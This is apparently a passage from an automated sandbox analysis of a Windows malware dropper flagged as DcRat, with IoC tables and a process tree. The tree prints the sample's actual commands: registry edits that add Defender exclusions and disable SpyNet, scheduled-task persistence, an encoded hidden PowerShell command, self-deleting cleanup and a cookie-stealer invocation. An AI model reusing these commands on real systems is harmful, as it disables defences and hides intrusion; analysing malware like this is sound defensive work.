Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	arnatic_1.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

arnatic_2.exejfiag3g_gg.exe

pid	process
1644	arnatic_2.exe
1644	arnatic_2.exe
736	jfiag3g_gg.exe
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396
1396

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

1396
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

arnatic_2.exe

pid process

1644 arnatic_2.exe

pid	process
1396

Suspicious use of AdjustPrivilegeToken 23 IoCs

Processes:

arnatic_5.exearnatic_7.exeforfiles.exetaskkill.exeV0PDXF8DQXJg2Rgzk22_GRLx.exetasklist.exeJTfJyEF4r7W5OX92fRKy9en3.exetaskkill.exeWmiPrvSE.exe

description	pid	process
Token: SeDebugPrivilege	1804	arnatic_5.exe
Token: SeShutdownPrivilege	1396
Token: SeDebugPrivilege	2024	arnatic_7.exe
Token: SeDebugPrivilege	2712	forfiles.exe
Token: SeShutdownPrivilege	1396
Token: SeShutdownPrivilege	1396
Token: SeDebugPrivilege	2832	taskkill.exe
Token: SeDebugPrivilege	2260	V0PDXF8DQXJg2Rgzk22_GRLx.exe
Token: SeDebugPrivilege	3044	tasklist.exe
Token: SeShutdownPrivilege	1396
Token: SeShutdownPrivilege	1396
Token: SeShutdownPrivilege	1396
Token: SeShutdownPrivilege	1396
Token: SeShutdownPrivilege	1396
Token: SeShutdownPrivilege	1396
Token: SeDebugPrivilege	2228	JTfJyEF4r7W5OX92fRKy9en3.exe
Token: SeShutdownPrivilege	1396
Token: SeShutdownPrivilege	1396
Token: SeShutdownPrivilege	1396
Token: SeShutdownPrivilege	1396
Token: SeDebugPrivilege	432	taskkill.exe
Token: SeDebugPrivilege	596	WmiPrvSE.exe
Token: SeShutdownPrivilege	1396

Suspicious use of FindShellTrayWindow 11 IoCs

Processes:

Accostarmi.exe.pifiexplore.exeiexplore.exe

pid process

2224 Accostarmi.exe.pif
1396
1396
1396
1396
2224 Accostarmi.exe.pif
2224 Accostarmi.exe.pif
1396
1396
972 iexplore.exe
2580 iexplore.exe
Suspicious use of SendNotifyMessage 3 IoCs

Processes:

Accostarmi.exe.pif

pid process

2224 Accostarmi.exe.pif
2224 Accostarmi.exe.pif
2224 Accostarmi.exe.pif

pid	process
2224	Accostarmi.exe.pif
1396
1396
1396
1396
2224	Accostarmi.exe.pif
2224	Accostarmi.exe.pif
1396
1396
972	iexplore.exe
2580	iexplore.exe

pid	process
2224	Accostarmi.exe.pif
2224	Accostarmi.exe.pif
2224	Accostarmi.exe.pif

Suspicious use of SetWindowsHookEx 11 IoCs

Processes:

V0PDXF8DQXJg2Rgzk22_GRLx.exeWmiPrvSE.exeiexplore.exeiexplore.exeIEXPLORE.EXEIEXPLORE.EXE

pid	process
2260	V0PDXF8DQXJg2Rgzk22_GRLx.exe
596	WmiPrvSE.exe
972	iexplore.exe
972	iexplore.exe
2580	iexplore.exe
2580	iexplore.exe
2564	IEXPLORE.EXE
2564	IEXPLORE.EXE
2128	IEXPLORE.EXE
2128	IEXPLORE.EXE
596	WmiPrvSE.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

59510cccbf45b3b2167896a7cc4d8ad806a483474be90879ce65e5801224deec.exesetup_install.execmd.execmd.exe

description	pid	process	target process
PID 1072 wrote to memory of 1100	1072	59510cccbf45b3b2167896a7cc4d8ad806a483474be90879ce65e5801224deec.exe	setup_install.exe
PID 1072 wrote to memory of 1100	1072	59510cccbf45b3b2167896a7cc4d8ad806a483474be90879ce65e5801224deec.exe	setup_install.exe
PID 1072 wrote to memory of 1100	1072	59510cccbf45b3b2167896a7cc4d8ad806a483474be90879ce65e5801224deec.exe	setup_install.exe
PID 1072 wrote to memory of 1100	1072	59510cccbf45b3b2167896a7cc4d8ad806a483474be90879ce65e5801224deec.exe	setup_install.exe
PID 1072 wrote to memory of 1100	1072	59510cccbf45b3b2167896a7cc4d8ad806a483474be90879ce65e5801224deec.exe	setup_install.exe
PID 1072 wrote to memory of 1100	1072	59510cccbf45b3b2167896a7cc4d8ad806a483474be90879ce65e5801224deec.exe	setup_install.exe
PID 1072 wrote to memory of 1100	1072	59510cccbf45b3b2167896a7cc4d8ad806a483474be90879ce65e5801224deec.exe	setup_install.exe
PID 1100 wrote to memory of 1568	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1568	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1568	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1568	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1568	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1568	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1568	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1544	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1544	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1544	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1544	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1544	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1544	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1544	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1472	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1472	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1472	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1472	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1472	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1472	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1472	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1964	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1964	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1964	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1964	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1964	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1964	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1964	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 468	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 468	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 468	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 468	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 468	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 468	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 468	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1984	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1984	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1984	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1984	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1984	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1984	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1984	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1976	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1976	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1976	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1976	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1976	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1976	1100	setup_install.exe	cmd.exe
PID 1100 wrote to memory of 1976	1100	setup_install.exe	cmd.exe
PID 1568 wrote to memory of 1192	1568	cmd.exe	arnatic_1.exe
PID 1568 wrote to memory of 1192	1568	cmd.exe	arnatic_1.exe
PID 1568 wrote to memory of 1192	1568	cmd.exe	arnatic_1.exe
PID 1568 wrote to memory of 1192	1568	cmd.exe	arnatic_1.exe
PID 1568 wrote to memory of 1192	1568	cmd.exe	arnatic_1.exe
PID 1568 wrote to memory of 1192	1568	cmd.exe	arnatic_1.exe
PID 1568 wrote to memory of 1192	1568	cmd.exe	arnatic_1.exe
PID 468 wrote to memory of 1804	468	cmd.exe	arnatic_5.exe

C:\Users\Admin\AppData\Local\Temp\59510cccbf45b3b2167896a7cc4d8ad806a483474be90879ce65e5801224deec.exe
"C:\Users\Admin\AppData\Local\Temp\59510cccbf45b3b2167896a7cc4d8ad806a483474be90879ce65e5801224deec.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1072

C:\Users\Admin\AppData\Local\Temp\7zS034C9926\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zS034C9926\setup_install.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1100

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_1.exe
3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1568

C:\Users\Admin\AppData\Local\Temp\7zS034C9926\arnatic_1.exe
arnatic_1.exe
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
PID:1192

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1192 -s 952
5⤵
- Loads dropped DLL
- Program crash
PID:824

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_2.exe
3⤵
- Loads dropped DLL
PID:1544

C:\Users\Admin\AppData\Local\Temp\7zS034C9926\arnatic_2.exe
arnatic_2.exe
4⤵
- DcRat
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1644

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_7.exe
3⤵
- Loads dropped DLL
PID:1976

C:\Users\Admin\AppData\Local\Temp\7zS034C9926\arnatic_7.exe
arnatic_7.exe
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:1680

C:\Users\Admin\AppData\Local\Temp\7zS034C9926\arnatic_7.exe
C:\Users\Admin\AppData\Local\Temp\7zS034C9926\arnatic_7.exe
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:2024

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_6.exe
3⤵
- Loads dropped DLL
PID:1984

C:\Users\Admin\AppData\Local\Temp\7zS034C9926\arnatic_6.exe
arnatic_6.exe
4⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
PID:1484

C:\Users\Admin\Documents\JhvelAfvZZXWV7pSE6X9QY4K.exe
"C:\Users\Admin\Documents\JhvelAfvZZXWV7pSE6X9QY4K.exe"
5⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1388

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=JhvelAfvZZXWV7pSE6X9QY4K.exe&platform=0009&osver=5&isServer=0&shimver=4.0.30319.0
6⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:2580

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2580 CREDAT:275457 /prefetch:2
7⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2128

C:\Users\Admin\Documents\jR8mr6MBTuX502Vuyd5RLtIF.exe
"C:\Users\Admin\Documents\jR8mr6MBTuX502Vuyd5RLtIF.exe"
5⤵
- Executes dropped EXE
PID:1900

C:\Users\Admin\Documents\W7sxWPvwKvQwiP40t455aKkz.exe
"C:\Users\Admin\Documents\W7sxWPvwKvQwiP40t455aKkz.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1064

C:\Users\Admin\Documents\GiwkXfE5qkAoyVcMGZIOtN9f.exe
"C:\Users\Admin\Documents\GiwkXfE5qkAoyVcMGZIOtN9f.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1120

C:\Users\Admin\Documents\CVPl_YRpYqmLR8EQJRwtGufs.exe
"C:\Users\Admin\Documents\CVPl_YRpYqmLR8EQJRwtGufs.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1544

C:\Users\Admin\Documents\VodcVWrtAgZfYG5THO1O1urg.exe
"C:\Users\Admin\Documents\VodcVWrtAgZfYG5THO1O1urg.exe"
5⤵
- Executes dropped EXE
PID:1136

C:\Users\Admin\Documents\xbEAAsgsFSu4NIqHlocQUCyA.exe
"C:\Users\Admin\Documents\xbEAAsgsFSu4NIqHlocQUCyA.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:1512

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im xbEAAsgsFSu4NIqHlocQUCyA.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\xbEAAsgsFSu4NIqHlocQUCyA.exe" & del C:\ProgramData\*.dll & exit
6⤵
PID:1656

C:\Windows\SysWOW64\taskkill.exe
taskkill /im xbEAAsgsFSu4NIqHlocQUCyA.exe /f
7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:432

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
7⤵
- Delays execution with timeout.exe
PID:1980

C:\Users\Admin\Documents\9ggnJ8fQMF1KfB7oKxauHGCO.exe
"C:\Users\Admin\Documents\9ggnJ8fQMF1KfB7oKxauHGCO.exe"
5⤵
- Executes dropped EXE
PID:2080

C:\Users\Admin\Documents\DL1d0edHmchYdwfWeIcW6aPH.exe
"C:\Users\Admin\Documents\DL1d0edHmchYdwfWeIcW6aPH.exe"
5⤵
- Executes dropped EXE
PID:2236

C:\Users\Admin\Documents\moGCi53vEI8IvA8t0fXpMEaH.exe
"C:\Users\Admin\Documents\moGCi53vEI8IvA8t0fXpMEaH.exe"
5⤵
- Executes dropped EXE
PID:2276

C:\Users\Admin\Documents\BCDxWVBKKz4MQrm3Al6BPYtv.exe
"C:\Users\Admin\Documents\BCDxWVBKKz4MQrm3Al6BPYtv.exe"
5⤵
- Executes dropped EXE
PID:2340

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "BCDxWVBKKz4MQrm3Al6BPYtv.exe" /f & erase "C:\Users\Admin\Documents\BCDxWVBKKz4MQrm3Al6BPYtv.exe" & exit
6⤵
PID:2756

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "BCDxWVBKKz4MQrm3Al6BPYtv.exe" /f
7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2832

C:\Users\Admin\Documents\V0PDXF8DQXJg2Rgzk22_GRLx.exe
"C:\Users\Admin\Documents\V0PDXF8DQXJg2Rgzk22_GRLx.exe"
5⤵
- DcRat
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2260

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\8tcgWrz8n8.bat"
6⤵
PID:1692

C:\Windows\SysWOW64\w32tm.exe
w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
7⤵
PID:1168

C:\Windows\system32\w32tm.exe
w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
8⤵
PID:1384

C:\Windows\SysWOW64\wbem\textvaluelist\WmiPrvSE.exe
"C:\Windows\System32\wbem\textvaluelist\WmiPrvSE.exe"
7⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:596

C:\Users\Admin\Documents\NiboX_EWbkULW3J8jn4EcrFk.exe
"C:\Users\Admin\Documents\NiboX_EWbkULW3J8jn4EcrFk.exe"
5⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2252

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=NiboX_EWbkULW3J8jn4EcrFk.exe&platform=0009&osver=5&isServer=0&shimver=4.0.30319.0
6⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:972

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:972 CREDAT:275457 /prefetch:2
7⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2564

C:\Users\Admin\Documents\9U3kGKi7CW8FaZEWMxAoUzKP.exe
"C:\Users\Admin\Documents\9U3kGKi7CW8FaZEWMxAoUzKP.exe"
5⤵
- Executes dropped EXE
PID:2244

C:\Users\Admin\Documents\JTfJyEF4r7W5OX92fRKy9en3.exe
"C:\Users\Admin\Documents\JTfJyEF4r7W5OX92fRKy9en3.exe"
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2228

C:\Users\Admin\Documents\p_7HteI1s4CRGWpaKA1jxg7M.exe
"C:\Users\Admin\Documents\p_7HteI1s4CRGWpaKA1jxg7M.exe"
5⤵
- Executes dropped EXE
PID:2180

C:\Users\Admin\AppData\Local\Temp\7zSB56.tmp\Install.exe
.\Install.exe
6⤵
- Executes dropped EXE
PID:2764

C:\Users\Admin\AppData\Local\Temp\7zS228E.tmp\Install.exe
.\Install.exe /S /site_id "525403"
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Drops file in System32 directory
- Enumerates system info in registry
PID:2988

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
8⤵
- Suspicious use of AdjustPrivilegeToken
PID:2712

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
9⤵
PID:2836

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
10⤵
PID:2788

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
10⤵
PID:1808

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
8⤵
PID:3032

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
9⤵
PID:2756

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
10⤵
PID:2068

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
10⤵
PID:2108

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gqECXsMNO" /SC once /ST 18:48:02 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
8⤵
- DcRat
- Creates scheduled task(s)
PID:1700

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gqECXsMNO"
8⤵
PID:2116

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gqECXsMNO"
8⤵
PID:3008

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "booXbIzkEgfNdKvxAC" /SC once /ST 19:47:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\GHoNhggtAPCruoj\PIzgjYS.exe\" j6 /site_id 525403 /S" /V1 /F
8⤵
- DcRat
- Creates scheduled task(s)
PID:1168

C:\Users\Admin\Documents\dM8lPPoZMPoebrMh4m_K51KD.exe
"C:\Users\Admin\Documents\dM8lPPoZMPoebrMh4m_K51KD.exe"
5⤵
- Executes dropped EXE
PID:2168

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_5.exe
3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:468

C:\Users\Admin\AppData\Local\Temp\7zS034C9926\arnatic_5.exe
arnatic_5.exe
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1804

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_4.exe
3⤵
- Loads dropped DLL
PID:1964

C:\Users\Admin\AppData\Local\Temp\7zS034C9926\arnatic_4.exe
arnatic_4.exe
4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:732

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:824

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:736

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_3.exe
3⤵
- Loads dropped DLL
PID:1472

C:\Users\Admin\AppData\Local\Temp\7zS034C9926\arnatic_3.exe
arnatic_3.exe
4⤵
- Executes dropped EXE
PID:1712

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd < Affaticato.gif
1⤵
PID:2416

C:\Windows\SysWOW64\cmd.exe
cmd
2⤵
PID:2608

C:\Windows\SysWOW64\tasklist.exe
tasklist /FI "imagename eq BullGuardCore.exe"
3⤵
- Enumerates processes with tasklist
PID:2712

C:\Windows\SysWOW64\find.exe
find /I /N "bullguardcore.exe"
3⤵
PID:2720

C:\Windows\SysWOW64\find.exe
find /I /N "psuaservice.exe"
3⤵
PID:3052

C:\Windows\SysWOW64\tasklist.exe
tasklist /FI "imagename eq PSUAService.exe"
3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:3044

C:\Windows\SysWOW64\findstr.exe
findstr /V /R "^uEDzPzHFCdzewXWMRhXuwzGNjMXXrsYuMnTuDfFnaaWMxrxJAnNdPOrNYPircJBlshdCrQoBHnNIvTzoshbFDH$" Koubbeh.gif
3⤵
PID:596

C:\Windows\SysWOW64\waitfor.exe
waitfor /t 5 jFjyKdbHiNcpqGHLaDXhhIXfDT
3⤵
PID:2324

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Accostarmi.exe.pif
Accostarmi.exe.pif N
3⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2224

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Accostarmi.exe.pif
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Accostarmi.exe.pif
4⤵
PID:1516

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Users\Default\Pictures\cmd.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2516

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "moGCi53vEI8IvA8t0fXpMEaH" /sc ONLOGON /tr "'C:\Windows\PLA\Templates\moGCi53vEI8IvA8t0fXpMEaH.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2664

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Windows\System32\wbem\textvaluelist\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2700

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Windows\System32\wbem\ServiceModel\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
